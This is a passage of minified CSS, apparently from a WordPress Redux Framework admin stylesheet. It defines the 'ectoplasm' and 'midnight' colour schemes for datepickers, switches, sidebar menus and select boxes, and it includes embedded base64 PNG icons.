Yb3PRd4LkZmPX68NRtMZn4ASvdA+qf0jMA5MP9eeg28Nug9QiLnj5A33U1MAES6xHAUNpz/9zFAYE1gqQDMT3G6xI9pwdw/aIgKoHCS1YGlRnSq9yCjdXjgN3j+N27YyROHxmuNAeNKPpYuXIyIyMjYy0M8eros59MF/PT2c602T7eA7zvhJ9dr/vzDjXaLp4Yc5+0wllzxzHv3gdmMMM7/CcQzKgVBqYTmFn+Z+mKm8J7k0A5F/jgCfjQ1WBhQyiOqD0lYuqBb+AyzMw9Ha2G3m6c8qQx+AlqnIceQp+Sb6i9UyQWbhr54+AjnZ0VzW2TAN0DmBT6PWmc6jDBE2PK2u+nF43dyP7Q0t1pOcX2fdRvH0mF2Q4JqN35rnHjVIeaXfIAVyUuw/aHCCiJy9iF5l1621zweI8KZrPZ9iJdb7DXJ3US0OSrtZ10imt7wHY7QesAzUMz1oZ3noB3qFJ/H18j97FYuw8QDN4oeKf30osvcSW2ExLo+VcbuAuo/sUIm8fMG9xocO3Ea19J9gFYivnHJ2KnyfovZlgW3v6ySx32abQiIyMjIyPjhlFDTLxpwIgFMnTp6A3g4IDKNY+stkwAMAoIAbasxBXqUWneSAWTMjt50lTqT29rFjvXohjsDNm2YPXDFlICmrJOZ3t6tHm8AiEAl0sCeLIIorIRt+cFbew/QRsoAXb4o1XSfoywzm0FTMAoYBNvLyFu8v8HpLBtD1iKgC17wHb7AI6d9wFbvguAIGTHd4E9wG7jgIyMjIyM+434c2R3HeV/Ffx6jtZu6ijl8h59T655jhR+rdHzDOP6beABCheb8O8/WFXeOyzgf5oAhVYnKxP7CwaAf1afJu8bSrhS6tdaXeGnrRenOqOlz9d6QwYnA/3TLd+GE7qe3chA5YF5DfY0vK3adfOX/gyNp2BW25MHdxAB9qvRiiP3/XpQQFGYDU4+Mi///XumXG8pjvaUAOsBGlf4jJt+YYEzeEzAdw06F19R3juM7D1wita86GR0CKfDHgLuXCc4Bri6vMLdfjMc4VNSUNsdodo2xu/1+Xl/K5+az8jIyMhYG/z5gJTMF1GtKq/a3rpyCvz5gJTMl9GtKq/a3rpyCmfQ4WwZmS+kXFVetb115ST48wEf/AGcfG1iw+tWbpbS2vJ3nQxcVr3lH3z5h972FUTLzYpOVk7l5hD+eYcYwDcAnewOotrZ4OtrPDucqi/LRX0/RR4qx7Nn4U8g+qjffvuN6Gf+nC85vwauHjaYyubqvWYKY4VEfSUMitdnBCT1Ue63R5439m+OgCn6DroAAaHPVQxKth/wkJgHmG8bmQMsT0D6EjDfvhVRKO3ywOQUgRA7nmL1uawZmHf1k+DPBwQ6NdcJ+k6Md1LA5f5ONdhJ8vZ5J0vLHT99srkGOjmJbd/G1r2Nriqnse1AZt1AalU5jW2HsuuG0qvKGRkZGRkZGRG0gcONyXsP9v8D0/IdJADiBNiXl3327WRGgOL/9HC/0XwlIURkRhC4tz6Z/fu7fUf2gHvfB9z3u0BGRkZGRkbGplHcnkgguQoSqtUXuhbs/wPtMwqV0HUJAvj5vk32b8IDuL23yn7qAXZ5u32hbRX7d3o82Df1FZXvbh9QOfhyxldr/+3xgXU9oKmvsHyr7F/XA269/eveBXrsv7N9QALe/tvjA0kPWAXGbvebkbHn+D/J5nMcHzx1UAAAAABJRU5ErkJggg==) !important}.admin-color-ectoplasm .ui-datepicker-header{background-color:#413256 !important;color:white !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{background-color:#a9bd4f !important;color:white !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-hover{color:#a9bd4f !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-highlight{background:#a3b745 !important;border:1px solid #413256 !important;color:white !important}.admin-color-ectoplasm .redux-container-switch .cb-disable,.admin-color-ectoplasm .redux-container-switch .cb-enable,.admin-color-ectoplasm .ui-state-default,.admin-color-ectoplasm .ui-widget-content .ui-state-default,.admin-color-ectoplasm .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-ectoplasm .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-ectoplasm .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-ectoplasm .redux-container-switch .cb-enable.selected,.admin-color-ectoplasm .redux-field-container .ui-buttonset .ui-state-active{background-color:#a3b745 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b0c25e), to(#a3b745)) !important;background-image:-moz-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-ms-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b0c25e), color-stop(100%, #a3b745)) !important;background-image:-webkit-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-o-linear-gradient(top, #b0c25e, #a3b745) !important;background-image:-linear-gradient(top, #b0c25e, #a3b745) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b0c25e', endColorstr='#a3b745', GradientType=0) !important;border-color:#727f30 !important;border-color:#829237 !important;-webkit-box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #bfcd7b,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-ectoplasm #redux-header{background:#413256;border-color:#a3b745}.admin-color-ectoplasm #redux-header .display_header span{color:#cbc5d3}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild a{color:#413256}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;transition:all 0.2s;color:#fff;width:auto;border-bottom:0}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li{border-top:0 none !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a:hover,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a:hover{color:#fff}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{width:auto;border-top:0 !important;padding:7px;color:#fff;padding-left:15px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-ms-transition:all 0.2;-o-transition:all 0.2;transition:all 0.2}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:hover,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a:hover{color:#89993a;background:#291f36}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a span.group_title,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title{padding-left:5px !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a{padding-left:14px}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a span.group_title,.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title{padding-left:30px !important}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections a{background:#a3b745}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a{background:#413256}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections a{background:#cbc5d3;text-shadow:1px 1px #7d6e91}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a{background:#413256;text-shadow:none}.admin-color-ectoplasm .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a{background:#a3b745;text-shadow:1px 1px #616d29}.admin-color-ectoplasm .redux-container-image_select .redux-image-select-selected img{border-color:#a3b745}.admin-color-ectoplasm .redux-container-image_select .redux-image-select-selected .tiles{border-color:#a3b745}.admin-color-ectoplasm #redux-footer #redux-share a{color:#a3b745}.admin-color-ectoplasm #redux-footer #redux-share a:hover{color:#616d29}.admin-color-ectoplasm .select2-results .select2-highlighted{background:#a3b745}.admin-color-ectoplasm .select2-drop-active,.admin-color-ectoplasm .select2-container-multi.select2-container-active .select2-choices,.admin-color-ectoplasm .select2-drop.select2-drop-above.select2-drop-active,.admin-color-ectoplasm .select2-container-active .select2-choice,.admin-color-ectoplasm .select2-container-active .select2-choices,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choices{border-color:#a3b745}.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choice,.admin-color-ectoplasm .select2-dropdown-open.select2-drop-above .select2-choices{border-top:inherit}.admin-color-ectoplasm .noUi-connect{background-color:#a9bd4f !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#b6c669), to(#a9bd4f)) !important;background-image:-moz-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-ms-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #b6c669), color-stop(100%, #a9bd4f)) !important;background-image:-webkit-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-o-linear-gradient(top, #b6c669, #a9bd4f) !important;background-image:-linear-gradient(top, #b6c669, #a9bd4f) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#b6c669', endColorstr='#a9bd4f', GradientType=0) !important}.admin-color-midnight .button.ui-datepicker-current,.admin-color-midnight button.ui-datepicker-close{background-color:#e35950 !important}.admin-color-midnight .ui-datepicker-buttonpane button.ui-datepicker-current{background:#d92c23 !important;color:white !important;border:1px solid #811a15 !important}.admin-color-midnight .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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) !important}.admin-color-midnight .ui-datepicker-header{background-color:#363b3f !important;color:white !important}.admin-color-midnight .ui-datepicker td .ui-state-active{background-color:#e35950 !important;color:white !important}.admin-color-midnight .ui-datepicker td .ui-state-hover{color:#e35950 !important}.admin-color-midnight .ui-datepicker td .ui-state-highlight{background:#e14d43 !important;border:1px solid #363b3f !important;color:white !important}.admin-color-midnight .redux-container-switch .cb-disable,.admin-color-midnight .redux-container-switch .cb-enable,.admin-color-midnight .ui-state-default,.admin-color-midnight .ui-widget-content .ui-state-default,.admin-color-midnight .ui-widget-header .ui-state-default{background-color:#f5f5f5 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#f8f8f8), to(#f5f5f5)) !important;background-image:-moz-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-ms-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f8f8f8), color-stop(100%, #f5f5f5)) !important;background-image:-webkit-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-o-linear-gradient(top, #f8f8f8, #f5f5f5) !important;background-image:-linear-gradient(top, #f8f8f8, #f5f5f5) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f8f8f8', endColorstr='#f5f5f5', GradientType=0) !important;border-color:#ccc !important}.admin-color-midnight .ui-datepicker td .ui-state-active{color:black !important;font-weight:700 !important;background:white !important}.admin-color-midnight .redux-container-switch .cb-disable.selected{background-color:#646464 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#929292), to(#646464)) !important;background-image:-moz-linear-gradient(top, #929292, #646464) !important;background-image:-ms-linear-gradient(top, #929292, #646464) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #929292), color-stop(100%, #646464)) !important;background-image:-webkit-linear-gradient(top, #929292, #646464) !important;background-image:-o-linear-gradient(top, #929292, #646464) !important;background-image:-linear-gradient(top, #929292, #646464) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#929292', endColorstr='#646464', GradientType=0) !important;border-color:#767676 !important}.admin-color-midnight .redux-container-switch .cb-enable.selected,.admin-color-midnight .redux-field-container .ui-buttonset .ui-state-active{background-color:#e14d43 !important;background-image:-khtml-gradient(linear, left top, left bottom, from(#e66a62), to(#e14d43)) !important;background-image:-moz-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-ms-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #e66a62), color-stop(100%, #e14d43)) !important;background-image:-webkit-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-o-linear-gradient(top, #e66a62, #e14d43) !important;background-image:-linear-gradient(top, #e66a62, #e14d43) !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#e66a62', endColorstr='#e14d43', GradientType=0) !important;border-color:#ba281e !important;border-color:#d02c21 !important;-webkit-box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,0.15) !important;box-shadow:inset 0 1px 0 #ec8b85,0 1px 0 rgba(0,0,0,0.15) !important}.admin-color-midnight #redux-header{background:#363b3f;border-color:#e14d43}.admin-color-midnight #redux-header .display_header span{color:#c2c4c5}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a{position:relative}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections a:after{right:0;border:solid 8px transparent;content:"\0020";height:0;width:0;position:absolute;pointer-events:none;border-right-color:#fff;top:50%;margin-top:-8px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li a:after{border:0 none !important;content:"\0020" !important}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections .redux-menu-error{display:none;margin-right:5px}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections a.hasError .extraIconSubsections{background-color:#b94a48;color:#f2dede}.admin-color-midnight .redux-sidebar .redux-group-menu li.hasSubSections a .extraIconSubsections{border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent;font-size:9px;height:9px;line-height:9px;margin-right:5px;padding:6px 7px 4px 7px;width:5px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active a .extraIconSubsections,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild a .extraIconSubsections{display:none}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .redux-menu-error,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .redux-menu-error{display:block}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .subsection .redux-menu-error,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .subsection .redux-menu-error{margin-right:2px}.admin-color-midnight .redux-sidebar .redux-group-menu li.active,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild{border-left:0 none}.admin-color-midnight .redux-sidebar .redux-group-menu li.active a,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild a{color:#363b3f}.admin-color-midnight .redux-sidebar .redux-group-menu li.active.hasSubSections .active a:after,.admin-color-midnight .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after{right:0;border:solid 8px 